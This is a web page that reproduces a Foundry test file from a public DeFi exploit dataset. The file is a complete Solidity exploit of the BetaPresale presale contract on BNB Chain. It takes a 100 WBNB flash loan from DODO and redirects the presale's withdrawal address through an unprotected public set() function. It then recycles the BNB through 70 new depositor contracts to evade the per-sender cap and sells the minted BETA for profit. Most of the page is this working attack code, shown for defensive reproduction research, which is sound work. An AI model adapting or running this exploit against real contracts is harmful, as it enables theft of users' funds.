Public reproduction file
src/test/2025-05/BetaPresale_exp.sol
Public reproduction file for dataset entry BetaPresale.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "../basetest.sol";6// @KeyInfo - Total Lost : 1.921686798824852706 WBNB and 46.474821659738262175 BUSD7// Attacker : 0xc49f2938327aA2cDc3F2f89Ed17B54b3671F05dE8// Attack Contract : 0x627ba7A2b5c07546D38614315CE85f28B332d79c9// Vulnerable Contract : 0x760C2aAa22220f24B9343b2a91A62dD66495385310// Attack Tx : https://bscscan.com/tx/0x47670c20325924e89aa87fcdd41df88c21246bd972056736e7964799831abf1211//12// @Info13// Vulnerable Contract Code : https://bscscan.com/address/0x760C2aAa22220f24B9343b2a91A62dD664953853#code14//15// @Analysis16// Twitter Guy : https://t.me/defimon_alerts/109217//18// Attack summary: The attacker redirected the presale withdrawal address to its helper, recycled a19// 100 WBNB flash loan through 70 fresh depositor contracts, sold the minted BETA, and repaid DODO.20// Root cause: PresaleBEP20.set(address) is public and deposit() enforces its 100 BNB maximum only21// per msg.sender while immediately forwarding deposited BNB to the mutable withdrawAddress.23address constant ATTACKER = 0xc49F2938327aa2cDc3F2f89Ed17b54B3671F05DE;24address constant TRACE_ATTACK_CONTRACT = 0x627BA7A2b5c07546d38614315Ce85F28b332d79C;25address constant TRACE_HELPER = 0xC8A060Bb258dc126a253519a35484c966B8632e8;26address constant PRESALE = 0x760c2aAA22220f24b9343b2A91a62dd664953853;27address constant BETA = 0x2410F2372E8A3C77fbD5D61B88714d14582F37Db;28address constant BETA_BUSD_PAIR = 0x0096F850E13E2d9127Fe0fb5523965cADD27ffc7;29address constant BETA_WBNB_PAIR = 0xb238A09D9eC8c15C1441aEE4A5af02A166291076;30address constant DODO_POOL = 0x6098A5638d8D7e9Ed2f952d35B2b67c34EC6B476;31address constant WBNB_TOKEN = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;32address constant BUSD_TOKEN = 0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56;33uint256 constant FLASH_LOAN_AMOUNT = 100 ether;34uint256 constant CHILD_DEPOSITS = 70;35uint256 constant FIRST_BETA_SALE = 7000 ether;37interface ITokenLike {38 function balanceOf(39 address account40 ) external view returns (uint256);41 function transfer(42 address recipient,43 uint256 amount44 ) external returns (bool);45}47interface IWBNBLike is ITokenLike {48 function deposit() external payable;49 function withdraw(50 uint256 amount51 ) external;52}54interface IPresaleBEP20 {55 function set(56 address payable withdrawAddress57 ) external;58 function deposit() external payable;59}61interface IPancakePairLike {62 function token0() external view returns (address);63 function token1() external view returns (address);64 function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);65 function swap(66 uint256 amount0Out,67 uint256 amount1Out,68 address to,69 bytes calldata data70 ) external;71}73interface IDPPFlashLoan {74 function flashLoan(75 uint256 baseAmount,76 uint256 quoteAmount,77 address assetTo,78 bytes calldata data79 ) external;80}82contract ContractTest is BaseTestWithBalanceLog {83 address private profitReceiver;85 function setUp() public {86 vm.createSelectFork("bsc", 49_951_833);88 profitReceiver = makeAddr("profitReceiver");89 fundingToken = WBNB_TOKEN;90 attacker = profitReceiver;92 vm.label(ATTACKER, "Attacker EOA");93 vm.label(TRACE_ATTACK_CONTRACT, "Trace Attack Contract");94 vm.label(TRACE_HELPER, "Trace Helper");95 vm.label(PRESALE, "PresaleBEP20");96 vm.label(BETA, "BETA");97 vm.label(BETA_BUSD_PAIR, "BETA/BUSD Pair");98 vm.label(BETA_WBNB_PAIR, "BETA/WBNB Pair");99 vm.label(DODO_POOL, "DODO Pool");100 vm.label(WBNB_TOKEN, "WBNB");101 vm.label(BUSD_TOKEN, "BUSD");102 }104 function testExploit() public balanceLog {105 assertEq(IPancakePairLike(BETA_BUSD_PAIR).token0(), BETA);106 assertEq(IPancakePairLike(BETA_BUSD_PAIR).token1(), BUSD_TOKEN);107 assertEq(IPancakePairLike(BETA_WBNB_PAIR).token0(), BETA);108 assertEq(IPancakePairLike(BETA_WBNB_PAIR).token1(), WBNB_TOKEN);110 uint256 wbnbBefore = ITokenLike(WBNB_TOKEN).balanceOf(profitReceiver);111 uint256 busdBefore = ITokenLike(BUSD_TOKEN).balanceOf(profitReceiver);113 new BetaPresaleAttack(profitReceiver);115 assertEq(ITokenLike(WBNB_TOKEN).balanceOf(profitReceiver) - wbnbBefore, 1_921_686_798_824_852_706);116 assertEq(ITokenLike(BUSD_TOKEN).balanceOf(profitReceiver) - busdBefore, 46_474_821_659_738_262_175);117 assertEq(ITokenLike(WBNB_TOKEN).balanceOf(DODO_POOL), 261_758_849_579_073_468_662);118 }119}121contract BetaPresaleAttack {122 constructor(123 address _profitReceiver124 ) {125 BetaPresaleFlashBorrower borrower = new BetaPresaleFlashBorrower(_profitReceiver);126 borrower.execute();127 }128}130contract BetaPresaleFlashBorrower {131 address private immutable profitReceiver;133 constructor(134 address _profitReceiver135 ) {136 profitReceiver = _profitReceiver;137 }139 function execute() external {140 IDPPFlashLoan(DODO_POOL).flashLoan(FLASH_LOAN_AMOUNT, 0, address(this), abi.encode(uint256(1)));141 }143 receive() external payable {}145 function DPPFlashLoanCall(146 address,147 uint256 baseAmount,148 uint256,149 bytes calldata150 ) external {151 require(msg.sender == DODO_POOL, "not DODO");152 require(baseAmount == FLASH_LOAN_AMOUNT, "unexpected loan");154 IWBNBLike(WBNB_TOKEN).withdraw(baseAmount);156 for (uint256 i = 0; i < CHILD_DEPOSITS; ++i) {157 BetaDepositCycler cycler = new BetaDepositCycler();158 cycler.depositAndSweep{value: FLASH_LOAN_AMOUNT}(payable(address(this)));159 }161 _swapBetaForBusd(FIRST_BETA_SALE);162 _swapBetaForWbnb(ITokenLike(BETA).balanceOf(address(this)));164 require(address(this).balance >= FLASH_LOAN_AMOUNT, "BNB was not recycled");165 IWBNBLike(WBNB_TOKEN).deposit{value: FLASH_LOAN_AMOUNT}();166 require(ITokenLike(WBNB_TOKEN).transfer(DODO_POOL, FLASH_LOAN_AMOUNT), "flash repay failed");167 }169 function _swapBetaForBusd(170 uint256 betaAmount171 ) private {172 IPancakePairLike pair = IPancakePairLike(BETA_BUSD_PAIR);173 (uint112 reserveBeta, uint112 reserveBusd,) = pair.getReserves();174 uint256 busdOut = _amountOut(betaAmount, reserveBeta, reserveBusd);176 require(ITokenLike(BETA).transfer(BETA_BUSD_PAIR, betaAmount), "BETA transfer to BUSD pair failed");177 pair.swap(0, busdOut, profitReceiver, "");178 }180 function _swapBetaForWbnb(181 uint256 betaAmount182 ) private {183 IPancakePairLike pair = IPancakePairLike(BETA_WBNB_PAIR);184 (uint112 reserveBeta, uint112 reserveWbnb,) = pair.getReserves();185 uint256 wbnbOut = _amountOut(betaAmount, reserveBeta, reserveWbnb);187 require(ITokenLike(BETA).transfer(BETA_WBNB_PAIR, betaAmount), "BETA transfer to WBNB pair failed");188 pair.swap(0, wbnbOut, profitReceiver, "");189 }191 function _amountOut(192 uint256 amountIn,193 uint256 reserveIn,194 uint256 reserveOut195 ) private pure returns (uint256) {196 uint256 amountInWithFee = amountIn * 998;197 return amountInWithFee * reserveOut / (reserveIn * 1000 + amountInWithFee);198 }199}201contract BetaDepositCycler {202 function depositAndSweep(203 address payable withdrawReceiver204 ) external payable {205 IPresaleBEP20(PRESALE).set(withdrawReceiver);206 IPresaleBEP20(PRESALE).deposit{value: msg.value}();208 uint256 betaBalance = ITokenLike(BETA).balanceOf(address(this));209 require(ITokenLike(BETA).transfer(withdrawReceiver, betaBalance), "BETA sweep failed");210 }211}Analysis
Dataset entry
Public Foundry test for “BetaPresale” (2025-05-19). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
16 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/2025-05/bitallx_exp.solSame month in the dataset · 94 lines
- src/test/2025-05/Corkprotocol_exp.solSame month in the dataset · 291 lines
- src/test/2025-05/crosswise_exp.solSame month in the dataset · 178 lines
- src/test/2025-05/DogeAlliance_exp.solSame month in the dataset · 173 lines
- src/test/2025-05/Dumbo_exp.solSame month in the dataset · 214 lines
- src/test/2025-05/IRYSAI_exp.solSame month in the dataset · 104 lines
- src/test/2025-05/KRCToken_pair_exp.solSame month in the dataset · 120 lines
- src/test/2025-05/MBUToken_exp.solSame month in the dataset · 73 lines
- src/test/2025-05/Nalakuvara_LotteryTicket50_exp.solSame month in the dataset · 102 lines
- src/test/2025-05/RICE_exp.solSame month in the dataset · 142 lines
- src/test/2025-05/unverified_0000_exp.solSame month in the dataset · 99 lines
- src/test/2025-05/unverified_91a1_exp.solSame month in the dataset · 76 lines
- src/test/2025-05/Unwarp_exp.solSame month in the dataset · 55 lines
- src/test/2025-05/UsualMoney_exp.solSame month in the dataset · 227 lines
- src/test/2025-05/YDTtoken_exp.solSame month in the dataset · 52 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xc49f2938327aa2cdc3f2f89ed17b54b3671f05de
- Attack Contract
0x627ba7a2b5c07546d38614315ce85f28b332d79c
- Vulnerable Contract
0x760c2aaa22220f24b9343b2a91a62dd664953853
- Attack Tx
0x47670c20325924e89aa87fcdd41df88c21246bd972056736e7964799831abf12
File record
- Name
- BetaPresale
- Path
- src/test/2025-05/BetaPresale_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 73d4bbb405107a5fb2b64f8f6dc0dc6f629a120b
- Language
- Solidity
- Size
- 212 lines
- Date
- 2025-05-19
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-05/BetaPresale_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 73d4bbb405107a5fb2b64f8f6dc0dc6f629a120b, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.